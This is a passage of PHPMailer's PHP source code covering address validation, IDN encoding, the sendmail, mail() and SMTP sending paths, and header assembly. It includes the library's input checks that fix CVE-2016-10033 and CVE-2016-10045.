$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
/**
* Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
* @link http://squiloople.com/2009/12/20/email-address-validation/
* @copyright 2009-2010 Michael Rushton
* Feel free to use and redistribute this code. But please keep this copyright notice.
*/
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
case 'pcre':
//An older regex that doesn't need a recent PCRE
return (boolean)preg_match(
'/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
'[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
'(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
$address
);
case 'html5':
/**
* This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
* @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
*/
return (boolean)preg_match(
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
$address
);
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
case 'php':
default:
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
}
}
/**
* Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
* "intl" and "mbstring" PHP extensions.
* @return bool "true" if required functions for IDN support are present
*/
public function idnSupported()
{
// @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
}
/**
* Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
* Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
* This function silently returns unmodified address if:
* - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
* - Conversion to punycode is impossible (e.g. required PHP functions are not available)
* or fails for any reason (e.g. domain has characters not allowed in an IDN)
* @see PHPMailer::$CharSet
* @param string $address The email address to convert
* @return string The encoded address in ASCII form
*/
public function punyencodeAddress($address)
{
// Verify we have required functions, CharSet, and at-sign.
if ($this->idnSupported() and
!empty($this->CharSet) and
($pos = strrpos($address, '@')) !== false) {
$domain = substr($address, ++$pos);
// Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
$domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
idn_to_ascii($domain)) !== false) {
return substr($address, 0, $pos) . $punycode;
}
}
}
return $address;
}
/**
* Create a message and send it.
* Uses the sending method specified by $Mailer.
* @throws phpmailerException
* @return boolean false on error - See the ErrorInfo property for details of the error.
*/
public function send()
{
try {
if (!$this->preSend()) {
return false;
}
return $this->postSend();
} catch (phpmailerException $exc) {
$this->mailHeader = '';
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
/**
* Prepare a message for sending.
* @throws phpmailerException
* @return boolean
*/
public function preSend()
{
try {
$this->error_count = 0; // Reset errors
$this->mailHeader = '';
// Dequeue recipient and Reply-To addresses with IDN
foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
$params[1] = $this->punyencodeAddress($params[1]);
call_user_func_array(array($this, 'addAnAddress'), $params);
}
if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
}
// Validate From, Sender, and ConfirmReadingTo addresses
foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
$this->$address_kind = trim($this->$address_kind);
if (empty($this->$address_kind)) {
continue;
}
$this->$address_kind = $this->punyencodeAddress($this->$address_kind);
if (!$this->validateAddress($this->$address_kind)) {
$error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
}
// Set whether the message is multipart/alternative
if ($this->alternativeExists()) {
$this->ContentType = 'multipart/alternative';
}
$this->setMessageType();
// Refuse to send an empty message unless we are specifically allowing it
if (!$this->AllowEmpty and empty($this->Body)) {
throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
}
// Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
$this->MIMEHeader = '';
$this->MIMEBody = $this->createBody();
// createBody may have added some headers, so retain them
$tempheaders = $this->MIMEHeader;
$this->MIMEHeader = $this->createHeader();
$this->MIMEHeader .= $tempheaders;
// To capture the complete message when using mail(), create
// an extra header list which createHeader() doesn't fold in
if ($this->Mailer == 'mail') {
if (count($this->to) > 0) {
$this->mailHeader .= $this->addrAppend('To', $this->to);
} else {
$this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
}
$this->mailHeader .= $this->headerLine(
'Subject',
$this->encodeHeader($this->secureHeader(trim($this->Subject)))
);
}
// Sign with DKIM if enabled
if (!empty($this->DKIM_domain)
and !empty($this->DKIM_selector)
and (!empty($this->DKIM_private_string)
or (!empty($this->DKIM_private)
and self::isPermittedPath($this->DKIM_private)
and file_exists($this->DKIM_private)
)
)
) {
$header_dkim = $this->DKIM_Add(
$this->MIMEHeader . $this->mailHeader,
$this->encodeHeader($this->secureHeader($this->Subject)),
$this->MIMEBody
);
$this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
}
return true;
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
/**
* Actually send a message.
* Send the email via the selected mechanism
* @throws phpmailerException
* @return boolean
*/
public function postSend()
{
try {
// Choose the mailer and send through it
switch ($this->Mailer) {
case 'sendmail':
case 'qmail':
return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
case 'smtp':
return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
case 'mail':
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
default:
$sendMethod = $this->Mailer.'Send';
if (method_exists($this, $sendMethod)) {
return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
}
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
}
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
}
return false;
}
/**
* Send mail using the $Sendmail program.
* @param string $header The message headers
* @param string $body The message body
* @see PHPMailer::$Sendmail
* @throws phpmailerException
* @access protected
* @return boolean
*/
protected function sendmailSend($header, $body)
{
// CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
if ($this->Mailer == 'qmail') {
$sendmailFmt = '%s -f%s';
} else {
$sendmailFmt = '%s -oi -f%s -t';
}
} else {
if ($this->Mailer == 'qmail') {
$sendmailFmt = '%s';
} else {
$sendmailFmt = '%s -oi -t';
}
}
// TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.
$sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);
if ($this->SingleTo) {
foreach ($this->SingleToArray as $toAddr) {
if (!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, 'To: ' . $toAddr . "\n");
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
$this->doCallback(
($result == 0),
array($toAddr),
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From
);
if ($result != 0) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
} else {
if (!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
$this->doCallback(
($result == 0),
$this->to,
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From
);
if ($result != 0) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
return true;
}
/**
* Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
*
* Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
* @param string $string The string to be validated
* @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
* @access protected
* @return boolean
*/
protected static function isShellSafe($string)
{
// Future-proof
if (escapeshellcmd($string) !== $string
or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
) {
return false;
}
$length = strlen($string);
for ($i = 0; $i < $length; $i++) {
$c = $string[$i];
// All other characters have a special meaning in at least one common shell, including = and +.
// Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
// Note that this does permit non-Latin alphanumeric characters based on the current locale.
if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
return false;
}
}
return true;
}
/**
* Check whether a file path is of a permitted type.
* Used to reject URLs and phar files from functions that access local file paths,
* such as addAttachment.
* @param string $path A relative or absolute path to a file.
* @return bool
*/
protected static function isPermittedPath($path)
{
return !preg_match('#^[a-z]+://#i', $path);
}
/**
* Send mail using the PHP mail() function.
* @param string $header The message headers
* @param string $body The message body
* @link http://www.php.net/manual/en/book.mail.php
* @throws phpmailerException
* @access protected
* @return boolean
*/
protected function mailSend($header, $body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ', $toArr);
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
// CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
if (self::isShellSafe($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
}
if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$result = false;
if ($this->SingleTo and count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
} else {
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
$this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if (!$result) {
throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}
/**
* Get an instance to use for SMTP operations.
* Override this function to load your own SMTP implementation
* @return SMTP
*/
public function getSMTPInstance()
{
if (!is_object($this->smtp)) {
$this->smtp = new SMTP;
}
return $this->smtp;
}
/**
* Send mail via SMTP.
* Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
* Uses the PHPMailerSMTP class by default.
* @see PHPMailer::getSMTPInstance() to use a different class.
* @param string $header The message headers
* @param string $body The message body
* @throws phpmailerException
* @uses SMTP
* @access protected
* @return boolean
*/
protected function smtpSend($header, $body)
{
$bad_rcpt = array();
if (!$this->smtpConnect($this->SMTPOptions)) {
throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
}
if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
$smtp_from = $this->Sender;
} else {
$smtp_from = $this->From;
}
if (!$this->smtp->mail($smtp_from)) {
$this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
}
// Attempt to send to all recipients
foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
foreach ($togroup as $to) {
if (!$this->smtp->recipient($to[0])) {
$error = $this->smtp->getError();
$bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
$isSent = false;
} else {
$isSent = true;
}
$this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
}
}
// Only send the DATA command if we have viable recipients
if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
}
if ($this->SMTPKeepAlive) {
$this->smtp->reset();
} else {
$this->smtp->quit();
$this->smtp->close();
}
//Create error message for any bad addresses
if (count($bad_rcpt) > 0) {
$errstr = '';
foreach ($bad_rcpt as $bad) {
$errstr .= $bad['to'] . ': ' . $bad['error'];
}
throw new phpmailerException(
$this->lang('recipients_failed') . $errstr,
self::STOP_CONTINUE
);
}
return true;
}
/**
* Initiate a connection to an SMTP server.
* Returns false if the operation failed.
* @param array $options An array of options compatible with stream_context_create()
* @uses SMTP
* @access public
* @throws phpmailerException
* @return boolean
*/
public function smtpConnect($options = null)
{
if (is_null($this->smtp)) {
$this->smtp = $this->getSMTPInstance();
}
//If no options are provided, use whatever is set in the instance
if (is_null($options)) {
$options = $this->SMTPOptions;
}
// Already connected?
if ($this->smtp->connected()) {
return true;
}
$this->smtp->setTimeout($this->Timeout);
$this->smtp->setDebugLevel($this->SMTPDebug);
$this->smtp->setDebugOutput($this->Debugoutput);
$this->smtp->setVerp($this->do_verp);
$hosts = explode(';', $this->Host);
$lastexception = null;
foreach ($hosts as $hostentry) {
$hostinfo = array();
if (!preg_match(
'/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
trim($hostentry),
$hostinfo
)) {
// Not a valid host entry
$this->edebug('Ignoring invalid host: ' . $hostentry);
continue;
}
// $hostinfo[2]: optional ssl or tls prefix
// $hostinfo[3]: the hostname
// $hostinfo[4]: optional port number
// The host string prefix can temporarily override the current setting for SMTPSecure
// If it's not specified, the default value is used
$prefix = '';
$secure = $this->SMTPSecure;
$tls = ($this->SMTPSecure == 'tls');
if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
$prefix = 'ssl://';
$tls = false; // Can't have SSL and TLS at the same time
$secure = 'ssl';
} elseif ($hostinfo[2] == 'tls') {
$tls = true;
// tls doesn't use a prefix
$secure = 'tls';
}
//Do we need the OpenSSL extension?
$sslext = defined('OPENSSL_ALGO_SHA1');
if ('tls' === $secure or 'ssl' === $secure) {
//Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
if (!$sslext) {
throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
}
}
$host = $hostinfo[3];
$port = $this->Port;
$tport = (integer)$hostinfo[4];
if ($tport > 0 and $tport < 65536) {
$port = $tport;
}
if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
try {
if ($this->Helo) {
$hello = $this->Helo;
} else {
$hello = $this->serverHostname();
}
$this->smtp->hello($hello);
//Automatically enable TLS encryption if:
// * it's not disabled
// * we have openssl extension
// * we are not already using SSL
// * the server offers STARTTLS
if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
$tls = true;
}
if ($tls) {
if (!$this->smtp->startTLS()) {
throw new phpmailerException($this->lang('connect_host'));
}
// We must resend EHLO after TLS negotiation
$this->smtp->hello($hello);
}
if ($this->SMTPAuth) {
if (!$this->smtp->authenticate(
$this->Username,
$this->Password,
$this->AuthType,
$this->Realm,
$this->Workstation
)
) {
throw new phpmailerException($this->lang('authenticate'));
}
}
return true;
} catch (phpmailerException $exc) {
$lastexception = $exc;
$this->edebug($exc->getMessage());
// We must have connected, but then failed TLS or Auth, so close connection nicely
$this->smtp->quit();
}
}
}
// If we get here, all connection attempts have failed, so close connection hard
$this->smtp->close();
// As we've caught all exceptions, just report whatever the last one was
if ($this->exceptions and !is_null($lastexception)) {
throw $lastexception;
}
return false;
}
/**
* Close the active SMTP session if one exists.
* @return void
*/
public function smtpClose()
{
if (is_a($this->smtp, 'SMTP')) {
if ($this->smtp->connected()) {
$this->smtp->quit();
$this->smtp->close();
}
}
}
/**
* Set the language for error messages.
* Returns false if it cannot load the language file.
* The default language is English.
* @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
* @param string $lang_path Path to the language file directory, with trailing separator (slash)
* @return boolean
* @access public
*/
public function setLanguage($langcode = 'en', $lang_path = '')
{
// Backwards compatibility for renamed language codes
$renamed_langcodes = array(
'br' => 'pt_br',
'cz' => 'cs',
'dk' => 'da',
'no' => 'nb',
'se' => 'sv',
'sr' => 'rs'
);
if (isset($renamed_langcodes[$langcode])) {
$langcode = $renamed_langcodes[$langcode];
}
// Define full set of translatable strings in English
$PHPMAILER_LANG = array(
'authenticate' => 'SMTP Error: Could not authenticate.',
'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
'data_not_accepted' => 'SMTP Error: data not accepted.',
'empty_message' => 'Message body empty',
'encoding' => 'Unknown encoding: ',
'execute' => 'Could not execute: ',
'file_access' => 'Could not access file: ',
'file_open' => 'File Error: Could not open file: ',
'from_failed' => 'The following From address failed: ',
'instantiate' => 'Could not instantiate mail function.',
'invalid_address' => 'Invalid address: ',
'mailer_not_supported' => ' mailer is not supported.',
'provide_address' => 'You must provide at least one recipient email address.',
'recipients_failed' => 'SMTP Error: The following recipients failed: ',
'signing' => 'Signing Error: ',
'smtp_connect_failed' => 'SMTP connect() failed.',
'smtp_error' => 'SMTP server error: ',
'variable_set' => 'Cannot set or reset variable: ',
'extension_missing' => 'Extension missing: '
);
if (empty($lang_path)) {
// Calculate an absolute path so it can work if CWD is not here
$lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
}
//Validate $langcode
if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
$langcode = 'en';
}
$foundlang = true;
$lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
// There is no English translation file
if ($langcode != 'en') {
// Make sure language file path is readable
if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
$foundlang = false;
} else {
// Overwrite language-specific strings.
// This way we'll never have missing translation keys.
$foundlang = include $lang_file;
}
}
$this->language = $PHPMAILER_LANG;
return (boolean)$foundlang; // Returns false if language not found
}
/**
* Get the array of strings for the current language.
* @return array
*/
public function getTranslations()
{
return $this->language;
}
/**
* Create recipient headers.
* @access public
* @param string $type
* @param array $addr An array of recipient,
* where each recipient is a 2-element indexed array with element 0 containing an address
* and element 1 containing a name, like:
* array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
* @return string
*/
public function addrAppend($type, $addr)
{
$addresses = array();
foreach ($addr as $address) {
$addresses[] = $this->addrFormat($address);
}
return $type . ': ' . implode(', ', $addresses) . $this->LE;
}
/**
* Format an address for use in a message header.
* @access public
* @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
* like array('joe@example.com', 'Joe User')
* @return string
*/
public function addrFormat($addr)
{
if (empty($addr[1])) { // No name provided
return $this->secureHeader($addr[0]);
} else {
return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
$addr[0]
) . '>';
}
}
/**
* Word-wrap message.
* For use with mailers that do not automatically perform wrapping
* and for quoted-printable encoded messages.
* Original written by philippe.
* @param string $message The message to wrap
* @param integer $length The line length to wrap to
* @param boolean $qp_mode Whether to run in Quoted-Printable mode
* @access public
* @return string
*/
public function wrapText($message, $length, $qp_mode = false)
{
if ($qp_mode) {
$soft_break = sprintf(' =%s', $this->LE);
} else {
$soft_break = $this->LE;
}
// If utf-8 encoding is used, we will need to make sure we don't
// split multibyte characters when we wrap
$is_utf8 = (strtolower($this->CharSet) == 'utf-8');
$lelen = strlen($this->LE);
$crlflen = strlen(self::CRLF);
$message = $this->fixEOL($message);
//Remove a trailing line break
if (substr($message, -$lelen) == $this->LE) {
$message = substr($message, 0, -$lelen);
}
//Split message into lines
$lines = explode($this->LE, $message);
//Message will be rebuilt in here
$message = '';
foreach ($lines as $line) {
$words = explode(' ', $line);
$buf = '';
$firstword = true;
foreach ($words as $word) {
if ($qp_mode and (strlen($word) > $length)) {
$space_left = $length - strlen($buf) - $crlflen;
if (!$firstword) {
if ($space_left > 20) {
$len = $space_left;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == '=') {
$len--;
} elseif (substr($word, $len - 2, 1) == '=') {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
$buf .= ' ' . $part;
$message .= $buf . sprintf('=%s', self::CRLF);
} else {
$message .= $buf . $soft_break;
}
$buf = '';
}
while (strlen($word) > 0) {
if ($length <= 0) {
break;
}
$len = $length;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == '=') {
$len--;
} elseif (substr($word, $len - 2, 1) == '=') {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
if (strlen($word) > 0) {
$message .= $part . sprintf('=%s', self::CRLF);
} else {
$buf = $part;
}
}
} else {
$buf_o = $buf;
if (!$firstword) {
$buf .= ' ';
}
$buf .= $word;
if (strlen($buf) > $length and $buf_o != '') {
$message .= $buf_o . $soft_break;
$buf = $word;
}
}
$firstword = false;
}
$message .= $buf . self::CRLF;
}
return $message;
}
/**
* Find the last character boundary prior to $maxLength in a utf-8
* quoted-printable encoded string.
* Original written by Colin Brown.
* @access public
* @param string $encodedText utf-8 QP text
* @param integer $maxLength Find the last character boundary prior to this length
* @return integer
*/
public function utf8CharBoundary($encodedText, $maxLength)
{
$foundSplitPos = false;
$lookBack = 3;
while (!$foundSplitPos) {
$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
$encodedCharPos = strpos($lastChunk, '=');
if (false !== $encodedCharPos) {
// Found start of encoded character byte within $lookBack block.
// Check the encoded byte value (the 2 chars after the '=')
$hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
$dec = hexdec($hex);
if ($dec < 128) {
// Single byte character.
// If the encoded char was found at pos 0, it will fit
// otherwise reduce maxLength to start of the encoded char
if ($encodedCharPos > 0) {
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
}
$foundSplitPos = true;
} elseif ($dec >= 192) {
// First byte of a multi byte character
// Reduce maxLength to split at start of character
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec < 192) {
// Middle byte of a multi byte character, look further back
$lookBack += 3;
}
} else {
// No encoded character found
$foundSplitPos = true;
}
}
return $maxLength;
}
/**
* Apply word wrapping to the message body.
* Wraps the message body to the number of chars set in the WordWrap property.
* You should only do this to plain-text bodies as wrapping HTML tags may break them.
* This is called automatically by createBody(), so you don't need to call it yourself.
* @access public
* @return void
*/
public function setWordWrap()
{
if ($this->WordWrap < 1) {
return;
}
switch ($this->message_type) {
case 'alt':
case 'alt_inline':
case 'alt_attach':
case 'alt_inline_attach':
$this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
break;
default:
$this->Body = $this->wrapText($this->Body, $this->WordWrap);
break;
}
}
/**
* Assemble message headers.
* @access public
* @return string The assembled headers
*/
public function createHeader()
{
$result = '';
$result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);
// To be created automatically by mail()
if ($this->SingleTo) {
if ($this->Mailer != 'mail') {
foreach ($this->to as $toaddr) {
$this->SingleToArray[] = $this->addrFormat($toaddr);
}
}
} else {
if (count($this->to) > 0) {
if ($this->Mailer != 'mail') {
$result .= $this->addrAppend('To', $this->to);
}
} elseif (count($this->cc) == 0) {
$result .= $this->headerLine('To', 'undisclosed-recipients:;');
}
}
$result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
// sendmail and mail() extract Cc from the header before sending
if (count($this->cc) > 0) {
$result .= $this->addrAppend('Cc', $this->cc);
}
// sendmail and mail() extract Bcc from the header before sending
if ((
$this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
)
and count($this->bcc) > 0
) {
$result .= $this->addrAppend('Bcc', $this->bcc);
}
if (count($this->ReplyTo) > 0) {
$result .= $this->addrAppend('Reply-To', $this->ReplyTo);
}
// mail() sets the subject itself
if ($this->Mailer != 'mail') {
$result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
}
// Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
// https://tools.ietf.org/html/rfc5322#section-3.6.4
if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
$this->lastMessageID = $this->MessageID;
} else {
$this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
}
$result .= $this->headerLine('Message-ID', $this->lastMessageID);
if (!is_null($this->Priority)) {
$result .= $this->headerLine('X-Priority', $this->Priority);
}
if ($this->XMailer == '') {
$result .= $this->headerLine(
'X-Mailer',
'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
);
} else {
$myXmailer = trim($this->XMailer);
if ($myXmailer) {
$result .= $this->headerLine('X-Mailer', $myXmailer);
}
}
if ($this->ConfirmReadingTo != '') {
$result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
}
// Add custom headers
foreach ($this->CustomHeader as $header) {
$result .= $this->headerLine(
trim($header[0]),
$this->encodeHeader(trim($header[1]))
);
}
if (!$this->sign_key_file) {
$result .= $this->headerLine('MIME-Version', '1.0');
$result .= $this->getMailMIME();
}
return $result;
}
/**
* Get the message MIME type headers.
* @access public
* @return string
*/
public function getMailMIME()
{
$result = '';
$ismultipart = true;
switch ($this->message_type) {
case 'inline':
$result .= $this->headerLine('Content-Type', 'multipart/related;');
$result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
break;
case 'attach':
case 'inline_attach':
case 'alt_attach':
case 'alt_inline_attach':
$result .= $this->headerLine('Content-Type', 'multipart/mixed;');
$result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
break;
case 'alt':
case 'alt_inline':
$result .= $this->headerLine('Content-Type', 'multipart/alternative;');
$result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
break;
default:
// Catches case 'plain': and case '':
$result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
$ismultipart = false;
break;
}
// RFC1341 part 5 says 7bit is assumed if not specified
if ($this->Encoding != '7bit') {
// RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
if ($ismultipart) {
if ($this->Encoding == '8bit') {
$result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
}
// The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
} else {
